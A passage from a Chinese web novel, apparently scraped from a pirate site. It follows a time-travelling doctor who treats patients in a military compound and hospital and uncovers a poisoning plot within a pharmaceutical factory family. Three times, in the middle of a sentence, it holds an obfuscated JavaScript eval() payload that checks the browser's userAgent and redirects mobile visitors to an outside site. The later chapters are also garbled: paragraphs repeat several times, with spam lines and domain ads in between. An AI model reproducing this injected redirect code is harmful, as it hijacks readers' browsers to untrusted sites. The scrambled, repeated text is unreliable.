李丽如遭雷击，瘫软在地上，任由众人七手八脚地抬她。 她死死盯着自己染血的裤管，突然发出凄厉的哭嚎："我的孩子我的孩子啊！" 这哭声让在场不少军属都红了眼眶。 沈晚却只是冷静地指挥着："头高脚低，平稳些抬。" 按照李丽之前做的那些事，沈晚现在还能出手帮一把，已经算是医者仁心了。 赵晓燕也是快做母亲的人，听见李丽哭得那么凄惨，眼眶也不由红了。 她叹了口气，还不知道李丽是故意推她摔倒的，只是单纯觉得可惜，不管李丽怎么样，她肚子里的孩子好歹是无辜的。 沈晚扶着赵晓燕回到家里，让她在炕上躺好，又把炕烧得热乎乎的。 赵晓燕现在需要静养安胎，沈晚取出银针，在她合谷、足三里等穴位施针稳定胎气。 赵晓燕哀叹一声："这李丽，也算是自作自受了。我之前一直劝她要管住嘴，多替孩子积点德，她就是不听.现在好了，报应到孩子身上了。" 沈晚收起银针："她肚子里的胚胎最多两个月，根本算不上完整的生命，连心跳都才刚刚形成。" 赵晓燕听得半懂不懂，默默点了点头。 她摸着微微隆起的肚子，突然有些后怕："妹子啊，你说我今天这么一摔，会不会." "别瞎想，"沈晚打断她，"你的胎像很稳。不过最近要卧床休息，我每天来给你扎针保胎。" 赵晓燕点点头，摸着肚子也是一阵后怕。 很快，王强军回来了。 他刚进大院，就有人叽叽喳喳围上来，让他赶紧去医院，说李丽流产了。 王强军听得一脸懵："流产了？怎么可能，李丽都没怀孕怎么流产。" 孙秀芝急道："李丽自己也不知道怀孕了！结果路滑摔了一跤，流了好多血，孩子当时就保不住了！" 王强军眼前一黑，连忙拉着王浩就往医院跑。 等到了医院，李丽正脸色惨白地躺在病床上，眼神空洞地望着天花板，眼泪无声地往下流。 王强军快步走到床前，"这.这到底咋回事啊？你什么时候怀的孕？" 李丽 机械地转过头看见丈夫的那一刻李丽的眼泪就像断了线的珠子大颗滚落："强军咱俩的孩子没了." 王强军很少见到妻子这么脆弱伤心的模样连忙安慰："没事咱们已经有浩子了这个孩子没生下来说明和我们没有缘分。你现在最重要的就是养好身子。" 王浩也拉住母亲的手小声说："妈你别哭了。" 李丽听到丈夫这样安慰心里却止不住地悲痛。 她盼望了那么久的孩子做梦都想要的孩子就这么莫名其妙地没了！为什么赵晓燕也摔了一跤她的孩子却没事？老天爷对她也太不公平了！ 她死死攥着床单指甲掐进掌心。 王强军看着李丽失魂落魄的样子心里也不好受。 沈晚一直坐在张家陪着赵晓燕还给她身上刚才被磕到的青紫上了药。 等张德志回来后听说自己媳妇儿竟然摔了一跤立马吓得脸色煞白直到看见赵晓燕好端端地坐在炕上心里那块大石头才落地声音都带着哽咽："媳妇儿你吓死我了没事就好没事就好。" 赵晓燕拍拍他的手："瞧把你吓的。" 张德志这才来得及问："你在哪摔的？" 赵晓燕："就在公厕门口地上结冰太滑了。" 张德志连忙说："我一会就去拉点煤渣铺上！再撒层粗盐保证再也不打滑！" 沈晚见张德志回来了便带着霍小川告辞。 回去之后帮霍小川脱棉袄时看见他皱着眉"嘶"了一声。 沈晚担心地问："小川 霍小川小声说："没事就是在公厕门口想扶赵姨的时候没扶住一起摔倒了。" 他挽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282076|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起袖子露出肘关节一大片淤青"不过我是男子汉不怕疼！" 沈晚心疼地查看伤口发现除了淤青还有几道擦伤她赶紧取来药酒："傻孩子怎么不早说？" 霍小川乖巧地仰着小脸："我不想让妈妈担心赵姨摔得比我更难受。" 沈晚心头一酸这孩子懂事得让人心疼她轻轻抚摸着霍小川的发顶眼眶微微发热明明才五岁却总是先想着别人。 "小川记住你从来都不是爸爸妈妈的负担。"她蘸着药酒动作轻柔地涂抹在伤口上 "有什么事一定要及时告诉我们知道吗？" 药酒碰到伤口时小家伙下意识缩了缩却硬是咬着嘴唇没喊疼。 沈晚心疼地吹了吹："不过今天你做得特别棒！知道第一时间喊人来帮忙是个聪明勇敢的小男子汉。" 霍小川眼睛一下子亮了起来："真的吗？" "当然是真的。"沈晚在他额头亲了一下"等明天告诉爸爸让他也好好表扬你。" 李丽当天晚上就从医院回来了主要原因——怕花钱。 虽然王强军一直劝她多住几天观察观察但李丽还是坚持要回来。 她穿着厚厚的棉袄围着围巾慢慢走进大院。寒风刮在脸上像刀子似的 路过张家时看着里面明亮的灯光隐隐还能听到赵晓燕和张德志的说笑声李丽的心就像被针扎一样疼。 凭什么？凭什么赵晓燕就能怀得稳稳当当生活这么幸福丈夫把她当宝贝似的供着？而自己不仅留不住盼了这么久的孩子连丈夫的心都留不住！ 怨恨像毒蛇般啃噬着她的心李丽咬着牙继续往前走每走一步都在心里咒骂一句。 回到家后王强军连忙把她扶到炕上把炕烧热然后对她嘘寒问暖。 这样的关心其实已经很久没有过了但是今天看着妻子如此悲痛的样子他心里还是有点心疼的。 可是不管他怎样询问李丽一个字都不说就那样背对着他躺在炕上眼睛一直看着窗户外。 第一百七十三章 光看不能吃 第二天，沈晚没想到会收到一封结婚请柬。 牛皮纸信封上工整地写着"霍沉舟同志亲启"，落款处印着"曹蒋联姻"的字样。 她拆开一看，果然是曹振国和蒋雪的婚礼请柬，大红色的硬纸卡上印着金色的喜字，内页用钢笔写着婚礼时间地点。 沈晚看了一眼便把请柬随手扔进了垃圾桶。 她又不是闲的，还去参加曹振国和蒋雪的婚礼？曹振国她看着恶心，蒋雪她也看着膈应。 沈晚到医院之后，照例询问霍沉舟身体的反应。 霍沉舟目光灼灼地看着她："比前几天的反应强烈多了。" 岂止有反应，简直有种复苏的迹象。 沈晚点点头："你现在也洗不了澡，我去拿湿毛巾给你擦擦身体。" 霍沉舟笑道："好。" 沈晚转身便端着盆出去接了热水又兑了凉水，温度适宜后，才端了回来。 她先帮他解开病号服的扣子，动作轻柔地褪下上衣。 霍沉舟结实的胸膛暴露在空气中，肌肉线条分明却不过分贲张，蜜色的皮肤上还留着几处淡淡的伤疤。 沈晚拧干毛巾，从脖颈开始仔细擦拭，温热的毛巾划过锁骨，来到胸肌处时，她明显感觉到手下的肌肉绷紧了。 既然都擦身体了，自然全身都要擦。 沈晚又把霍沉舟的裤子脱下来，一点一点全部擦干净。 然后又帮他换上干净的衣服。经过这一遭，霍沉舟更坚定了要配合治疗早日康复的决心，这种光看不能吃的感觉实在太折磨人了。 刚才沈晚给他擦身时，柔软的手指每次无意间划过皮肤，都像点火般让他浑身紧绷，偏偏现在旧伤未愈，什么都不能做，只能硬生生忍着。 沈晚又陪着霍沉舟聊了会天，把昨天发生的事情和他说了。 霍沉舟听到李丽流产了，眸光微寒："也算是她罪有应得。之前她三番五次造谣生事，现在报应到自己头上。" 沈晚故意又说："你老同学要结婚了，你这腰要是恢复得快点，说不定还能坐轮椅去参加呢。" 霍沉舟听出她的阴阳怪气，抿唇笑了笑："哪个老同学？" "你还有哪个老同学？曹振国今天都把请柬寄来了。" 霍 沉舟把她往怀里拽了拽，声音低沉："阿晚，我们俩的婚礼当初那么简单草率，你会不会觉得遗憾？" 他想起当初在老家草草办的那场婚礼，那时候他对沈晚满是偏见，甚至连交杯酒都没喝。 现在想来，心里满是愧疚。 沈晚还不知道他在想什么，扬了扬唇角："好像是有点简单。" 虽然作为现代人，她曾经幻想过浪漫的婚礼，但穿越到这个贫苦的年代，也指望不上什么盛大的仪式了。 能有现在这样安稳的日子，她已经很知足。 霍沉舟把玩着她纤细的手指，突然郑重道："那我补给你一个想要的婚礼怎么样？" 沈晚猛地从他怀里坐起来，“都结婚这么多年了，还能补婚礼？ 霍沉舟低笑：“这有什么不能的？等开春了，我便请师部的人都来喝我们的喜酒…… 他不断描述着要给沈晚怎样的婚礼，沈晚听着听着，鼻子就酸了，她主动俯身吻上他的唇，霍沉舟立即温柔地回应。 下午，医院走廊突然传来一阵急促的脚步声。 沈晚正在开水房接水，只见几个穿中山装的干部模样的人推着一辆担架车匆匆而过。 担架上躺着个五十多岁的男人，面色灰败，嘴唇青紫，正痛苦地捂着胸口呻吟。 "让一让！让一让！"为首的秘书模样的人满头大汗。 沈晚端着搪瓷缸退到一旁，目光却不由自主地被病人吸引。 中年男人裸露的手腕那里布满紫红色网状斑纹，像是**细血管破裂的痕迹。更诡异的是，病人指甲根部泛着不正常的青黑色，这让她瞬间想起在现代接诊过的一例"****"患者。 但奇怪的是，病人同时伴有眼球震颤和嘴角抽搐的症状，这又不符合典型的重金属**特征。 沈晚心中虽然生疑，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282077|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨眼间，一行人就已经跑远了，她便也没有多想，回到病房后继续帮霍沉舟做康复训练。 很快，刘静怡就来找她："沈顾问。" 沈晚看见她有点疑惑："静怡？怎么了？" 刘静怡神色紧张："董院长让我来叫您，医院来了个危重病人，各科主任都束手无策，院长说想请您一起去看看" 沈晚脑海里立即浮现出刚才在走廊遇到的 那个奇怪病人，她下意识看向霍沉舟，对方点点头："去吧。" 沈晚："那我先过去看看。" 跟着刘静怡来到重症监护室，各个科室的医生都在，但个个面色凝重。 董建林看见她，便招呼她走近一些：“沈同志，这位是省制药厂厂长林文斌同志，三天前出现剧烈腹痛、脱发和神经系统症状，外院检查认为是****，但经过二巯基丙醇治疗后症状反而加重。 他翻着病历继续道："听说我们医院有过治疗重金属**的成功案例，这才转院过来。可我们刚才会诊发现，虽然症状确实像****，但所有检测指标都很奇怪，尿**含量超标不明显，反而血铅指标异常升高。" 内科主任补充："更奇怪的是，二巯基丙醇本该是****的特效解毒剂，但用在林厂长身上却出现严重不良反应。" 沈晚听着他们的话，眉头越皱越紧。 她仔细观察病床上的中年男人，虽然表面症状确实像****，但细看又有些不同。 沈晚心中虽然有猜想，但是暂时也无法确认病人到底怎么回事。 董建林搓了搓手："我们医院虽然有治疗****的先例，但是病人对二巯基丙醇有严重不良反应，所以我们也不敢贸然再用。想着你正好在，帮忙看一下。" 沈晚微微颔首，她戴上手套，仔细检查病人的瞳孔反应，又轻触其颈部淋巴结，最后翻开眼睑观察黏膜颜色。 然后沉吟片刻，取出一根银针，在病人指尖取了一滴血仔细观察。 "确实是****，"她肯定地说，"但应该是复合毒。" 第一百七十四章 有人故意**？ 董建林先是一愣，随即便反应过来："你的意思是说，病人不止****，还中了其他毒？" 沈晚点点头，“另一种毒我也不确定是什么，我现在只能先按****的方法治，用针灸排毒，这样不会产生药物排异反应，但还是要尽快确定病人中的另一种毒是什么，不然会耽误治疗。 董建林一听也松了口气："好，那你先进行针灸治疗，我立刻安排化验科做毒物筛查。" 沈晚已经开始施针，银针精准刺入涌泉、太冲等排毒要穴，随着针尖轻捻，病人突然剧烈咳嗽起来，嘴角渗出带着金属味的黑血。 沈晚沉声道："拿个盆来接着，这血有毒！" 董建林则出了重症监护室，对等在外面的厂长秘书沉声道："你们厂长确实是****，但他的病情之所以恶化得这么快，是因为他还中了另一种毒。两种毒素相互作用，导致解毒剂失效。" 秘书一听，倒吸一口凉气："怎么会这样？另一种毒是什么？" 董建林摇摇头："暂时还不清楚。现在需要立即封存厂长近期接触过的所有物品，茶杯、餐具、药品，特别是他试用的新药样品，这事必须立即报警，所有证物都要由警方封存送检。" 秘书脸色发白："董院长的意思是……有人故意**？" "不排除这种可能。"董建林叹了口气。 他和林文斌有过几面之缘，知道他是个一心为民的好厂长，自然也不愿意让他就这么不明不白地丧命。 秘书立马转身去处理接下来的事务。 他下楼时，一道声音突然叫住他："程秘书！" 程秘书回头看见是林怡宁，有点惊讶："怡宁？" 林怡宁快步走过来，脸上写满担忧："程秘书，你这是要干嘛去？我听说我大伯**了，但是怎么样都治不好。他现在情况到底怎么样？" 林国栋和林文斌是亲兄弟，在同一个制药厂上班，只不过林国栋是副厂长，永远被林文斌压一头。 程秘书自然也知道林怡宁和厂长是亲戚，所以也没有隐瞒："厂长中的是复合毒，除了**之外可能还有别的毒素。现在已经报警了，我要赶紧赶回厂里和保卫科一起配合调查。" 林怡宁瞳孔微缩："你是说，我大伯中了两种毒？" 程秘书神情严肃地点点头："嗯。现在有一个医生正在用针灸帮厂长排毒，但具体第二种毒是什么还要等化验结果。" 他看了眼手表，"怡宁，我先走了，厂里还有很多事要处理。" 等程秘书匆匆离开后，林怡宁站在原地，脸色变幻莫测，她突然转身快步走向更衣室，换下白大褂穿上便服，从医院后门悄悄离开了。 此时沈晚正在全神贯注地施针。 病人的情况太过复杂，她每一针都必须精准无误，力度和深度都要恰到好处。 很快，沈晚的额头和鼻尖便沁出密密的汗珠。 好不容易暂时控制住毒素扩散，看着监测仪上的指标逐渐稳定，沈晚总算松了口气。 董建林看着呼吸逐渐平稳的林文斌，忍不住感叹道："今天多亏你了，沈同志。" 沈晚轻轻拔针："但是我这个针灸疗法也只是暂时缓解，后续的治疗还是要等化验结果出来才能对症下药。" 董建林点点头："制药厂那边已经报警了，估计很快就能出结果。" …… 与此同时，林怡宁回到家。 崔明珠看见她，主动打招呼："怡宁，你回来了？" 林怡宁使劲推了她一把："滚开！" 崔明珠被推得踉跄一下，差点没站稳，连忙扶住沙发，怒道："林怡宁，你干什么？！我还怀着孕呢！" 林怡宁瞪她一眼："谁让你挡路！" 随即立马跑向书房。 林国栋果然在书房看书，看见林怡宁，他脸上露出笑容："怡宁，你怎么回来了？" 林怡宁反手锁上门："爸，你猜我在我们医院看见谁了？" "谁？" “大伯！ 林振国双手交叉：“哦？林文斌转院到你们医院了？ “嗯，听说是外院治不好，只能转到我们医院试试。 林国栋脸上露出一丝诡异的笑意：“我猜也是这样。 林怡宁急道："爸，你还笑！" 林国栋不以为意地摆摆手："傻丫头，你这么紧张干嘛？放心吧，你爸做的这事神不知鬼不觉，等林文斌一死，所有人只会觉得他是自己试药不小心****身亡。" 林怡宁跺了跺脚："放屁！那个程秘书都知 道大伯是中了两种毒，已经报警调查了！" 林国栋脸上的笑容一僵："那个吃里扒外的怎么会知道？" 他曾经尝试过收买程秘书，但是失败了，因为林文斌对程秘书有大恩情，所以程秘书对林文斌十分衷心。 林怡宁恨恨地磨了磨牙："就是那个沈晚！她不知道怎么看出大伯中了复合毒，说除了**之外还有别的毒素！董院长肯定是信她的啊，当时就让程秘书报警了，现在估计警察都到厂里了！" 林国栋脸色难看了几分，但很快又镇定下来："慌什么？我已经把证据处理干净了。" 林怡宁还是不放心："真的？确定都处理干净了？" "放心吧，"林国栋得意地勾起嘴角，"警察就算把厂子翻个底朝天，也找不到任何证据。" 林怡宁闻言心里总算松了一口气。 警察到达制药厂后，立即封锁了厂长办公室和实验室。 把林文斌最近接触的所有物品都分装封存，送到检验科。 晚上六点半，沈晚坐在院长办公室里。 董建林正看着手里的化验结果，一页页翻过去，脸色逐渐难看。 沈晚看见董建林这幅神情，心中已经明了，怕是查也没查出来什么问题。 旁边的程秘书急切地问："董院长，到底是哪里出了问题？" 董建林抬起头，把化验结果单重重拍到桌子上："所有送检物品都没有问题。" 程秘书难以置信地瞪大眼睛："怎么会这样？厂长平常接触的东西都在这了……" 听说看这本书的人都是很幸运的，分享后你的运气会更棒 道大伯是中了两种毒已经报警调查了！" 林国栋脸上的笑容一僵："那个吃里扒外的怎么会知道？" 他曾经尝试过收买程秘书但是失败了因为林文斌对程秘书有大恩情所以程秘书对林文斌十分衷心。 林怡宁恨恨地磨了磨牙："就是那个沈晚！她不知道怎么看出大伯中了复合毒说除了**之外还有别的毒素！董院长肯定是信她的啊当时就让程秘书报警了现在估计警察都到厂里了！" 林国栋脸色难看了几分但很快又镇定下来："慌什么？我已经把证据处理干净了。" 林怡宁还是不放心："真的？确定都处理干净了？" "放心吧"林国栋得意地勾起嘴角"警察就算把厂子翻个底朝天也找不到任何证据。" 林怡宁闻言心里总算松了一口气。 警察到达制药厂后立即封锁了厂长办公室和实验室。 把林文斌最近接触的所有物品都分装封存送到检验科。 晚上六点半沈晚坐在院长办公室里。 董建林正看着手里的化验结果一页页翻过去脸色逐渐难看。 沈晚看见董建林这幅神情 旁边的程秘书急切地问："董院长到底是哪里出了问题？" 董建林抬起头把化验结果单重重拍到桌子上："所有送检物品都没有问题。" 程秘书难以置信地瞪大眼睛："怎么会这样？厂长平常接触的东西都在这了……" 你的朋友正在书荒，快去帮帮他吧 道大伯是中了两种毒已经报警调查了！" 林国栋脸上的笑容一僵："那个吃里扒外的怎么会知道？" 他曾经尝试过收买程秘书但是失败了因为林文斌对程秘书有大恩情所以程秘书对林文斌十分衷心。 林怡宁恨恨地磨了磨牙："就是那个沈晚！她不知道怎么看出大伯中了复合毒说除了**之外还有别的毒素！董院长肯定是信她的啊当时就让程秘书报警了现在估计警察都到厂里了！" 林国栋脸色难看了几分但很快又镇定下来："慌什么？我已经把证据处理干净了。" 林怡宁还是不放心："真的？确定都处理干净了？" "放心吧"林国栋得意地勾起嘴角"警察就算把厂子翻个底朝天也找不到任何证据。" 林怡宁闻言心里总算松了一口气。 警察到达制药厂后立即封锁了厂长办公室和实验室。 把林文斌最近接触的所有物品都分装封存送到检验科。 晚上六点半沈晚坐在院长办公室里。 董建林正看着手里的化验结果一页页翻过去脸色逐渐难看。 沈晚看见董建林这幅神情心中已经明了怕是查也没查出来什么问题。 旁边的程秘书急切地问："董院长到底是哪里出了问题？" 董建林抬起头把化验结果单重重拍到桌子上："所有送检物品都没有问题。" 程秘书难以置信地瞪大眼睛："怎么会这样？厂长平常接触的东西都在这了……" 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 道大伯是中了两种毒，已经报警调查了！" 林国栋脸上的笑容一僵："那个吃里扒外的怎么会知道？" 他曾经尝试过收买程秘书，但是失败了，因为林文斌对程秘书有大恩情，所以程秘书对林文斌十分衷心。 林怡宁恨恨地磨了磨牙："就是那个沈晚！她不知道怎么看出大伯中了复合毒，说除了**之外还有别的毒素！董院长肯定是信她的啊，当时就让程秘书报警了，现在估计警察都到厂里了！" 林国栋脸色难看了几分，但很快又镇定下来："慌什么？我已经把证据处理干净了。" 林怡宁还是不放心："真的？确定都处理干净了？" "放心吧，"林国栋得意地勾起嘴角，"警察就算把厂子翻个底朝天，也找不到任何证据。" 林怡宁闻言心里总算松了一口气。 警察到达制药厂后，立即封锁了厂长办公室和实验室。 把林文斌最近接触的所有物品都分装封存，送到检验科。 晚上六点半，沈晚坐在院长办公室里。 董建林正看着手里的化验结果，一页页翻过去，脸色逐渐难看。 沈晚看见董建林这幅神情，心中已经明了，怕是查也没查出来什么问题。 旁边的程秘书急切地问："董院长，到底是哪里出了问题？" 董建林抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282078|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，把化验结果单重重拍到桌子上："所有送检物品都没有问题。" 程秘书难以置信地瞪大眼睛："怎么会这样？厂长平常接触的东西都在这了……" 你的朋友正在书荒，快去帮帮他吧 道大伯是中了两种毒，已经报警调查了！" 林国栋脸上的笑容一僵："那个吃里扒外的怎么会知道？" 他曾经尝试过收买程秘书，但是失败了，因为林文斌对程秘书有大恩情，所以程秘书对林文斌十分衷心。 林怡宁恨恨地磨了磨牙："就是那个沈晚！她不知道怎么看出大伯中了复合毒，说除了**之外还有别的毒素！董院长肯定是信她的啊，当时就让程秘书报警了，现在估计警察都到厂里了！" 林国栋脸色难看了几分，但很快又镇定下来："慌什么？我已经把证据处理干净了。" 林怡宁还是不放心："真的？确定都处理干净了？" "放心吧，"林国栋得意地勾起嘴角，"警察就算把厂子翻个底朝天，也找不到任何证据。" 林怡宁闻言心里总算松了一口气。 警察到达制药厂后，立即封锁了厂长办公室和实验室。 把林文斌最近接触的所有物品都分装封存，送到检验科。 晚上六点半，沈晚坐在院长办公室里。 董建林正看着手里的化验结果，一页页翻过去，脸色逐渐难看。 沈晚看见董建林这幅神情，心中已经明了，怕是查也没查出来什么问题。 旁边的程秘书急切地问："董院长，到底是哪里出了问题？" 董建林抬起头，把化验结果单重重拍到桌子上："所有送检物品都没有问题。" 程秘书难以置信地瞪大眼睛："怎么会这样？厂长平常接触的东西都在这了……" 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 道大伯是中了两种毒，已经报警调查了！" 林国栋脸上的笑容一僵："那个吃里扒外的怎么会知道？" 他曾经尝试过收买程秘书，但是失败了，因为林文斌对程秘书有大恩情，所以程秘书对林文斌十分衷心。 林怡宁恨恨地磨了磨牙："就是那个沈晚！她不知道怎么看出大伯中了复合毒，说除了**之外还有别的毒素！董院长肯定是信她的啊，当时就让程秘书报警了，现在估计警察都到厂里了！" 林国栋脸色难看了几分，但很快又镇定下来："慌什么？我已经把证据处理干净了。" 林怡宁还是不放心："真的？确定都处理干净了？" "放心吧，"林国栋得意地勾起嘴角，"警察就算把厂子翻个底朝天，也找不到任何证据。" 林怡宁闻言心里总算松了一口气。 警察到达制药厂后，立即封锁了厂长办公室和实验室。 把林文斌最近接触的所有物品都分装封存，送到检验科。 晚上六点半，沈晚坐在院长办公室里。 董建林正看着手里的化验结果，一页页翻过去，脸色逐渐难看。 沈晚看见董建林这幅神情，心中已经明了，怕是查也没查出来什么问题。 旁边的程秘书急切地问："董院长，到底是哪里出了问题？" 董建林抬起头，把化验结果单重重拍到桌子上："所有送检物品都没有问题。" 程秘书难以置信地瞪大眼睛："怎么会这样？厂长平常接触的东西都在这了……" 听说看这本书的人都是很幸运的，分享后你的运气会更棒 道大伯是中了两种毒，已经报警调查了！" 林国栋脸上的笑容一僵："那个吃里扒外的怎么会知道？" 他曾经尝试过收买程秘书，但是失败了，因为林文斌对程秘书有大恩情，所以程秘书对林文斌十分衷心。 林怡宁恨恨地磨了磨牙："就是那个沈晚！她不知道怎么看出大伯中了复合毒，说除了**之外还有别的毒素！董院长肯定是信她的啊，当时就让程秘书报警了，现在估计警察都到厂里了！" 林国栋脸色难看了几分，但很快又镇定下来："慌什么？我已经把证据处理干净了。" 林怡宁还是不放心："真的？确定都处理干净了？" "放心吧，"林国栋得意地勾起嘴角，"警察就算把厂子翻个底朝天，也找不到任何证据。" 林怡宁闻言心里总算松了一口气。 警察到达制药厂后，立即封锁了厂长办公室和实验室。 把林文斌最近接触的所有物品都分装封存，送到检验科。 晚上六点半，沈晚坐在院长办公室里。 董建林正看着手里的化验结果，一页页翻过去，脸色逐渐难看。 沈晚看见董建林这幅神情，心中已经明了，怕是查也没查出来什么问题。 旁边的程秘书急切地问："董院长，到底是哪里出了问题？" 董建林抬起头，把化验结果单重重拍到桌子上："所有送检物品都没有问题。" 程秘书难以置信地瞪大眼睛："怎么会这样？厂长平常接触的东西都在这了……" 说更新，记住域名ｃａｉｘｓ№(请来才小 说 看最新章节 完整章节) 听说和异性朋友讨论本书情节的，很容易发展成恋人哦